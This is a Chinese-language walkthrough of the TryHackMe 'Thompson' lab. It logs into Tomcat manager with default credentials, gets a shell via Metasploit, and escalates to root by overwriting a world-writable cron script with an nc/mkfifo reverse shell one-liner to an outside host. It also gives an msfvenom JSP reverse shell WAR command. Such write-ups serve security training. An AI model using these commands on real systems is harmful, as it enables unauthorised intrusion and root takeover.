0%

TryHackMe-Thompson

靶机链接:Thompson

难度:十分简单

信息收集

扫描后目标机器只开放了8009,8080,22端口
nmap

访问网站,尝试使用默认密码登录,结果成功了。。。
gotit

提权

打开msfconsole使用tomcat_mgr_upload模块。

运行之后就拿到shell了。

查看/etc/passwd会发现还有一个用户jack
jack

前往它的家目录后,会发现有第一个flag和两个有趣的文件.

  • id.sh
  • test.txt
    get-flag1

分别查看两个文件之后,会发现是id.sh执行id命令后会将结果重定向到test.txt文件。看输出结果,可以肯定是以root身份执行的,而且这个文件是777权限。
test
sh

metepater的shell有点不方便,手动生成一个shell,之后使用python生成一个交互性tty。

1
2
shell
python -c 'import pty;pty.spawn("/bin/bash")'

使用msf生成我们的反向连接,重写id.sh

1
2
[email protected]:/home/jack$ echo 'mkfifo /tmp/ijuzeqf; nc 10.*.*.* 1234 0</tmp/ijuzeqf | /bin/sh >/tmp/ijuzeqf 2>&1; rm /tmp/ijuzeqf'>id.sh
<ijuzeqf | /bin/sh >/tmp/ijuzeqf 2>&1; rm /tmp/ijuzeqf'>id.sh

重写好了,那么这时候我们要怎么执行这个文件才能获得root身份呢。sudo -l提示要输入密码,但是tomcat是无密码用户。所以行不通。

查看/etc/crontab看看有没有定时任务。
jobs

emmmmmmm…
开启监听,等下一分钟就能拿到shell了。
root

另一种get shell方式(不用msfconsole)

总会遇到无法使用msf的情况的,比如:OSCP考试(

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=1.1.1.1 LPORT=1234 -f war > shell.war

上传到war,并访问。
war

开启监听。
war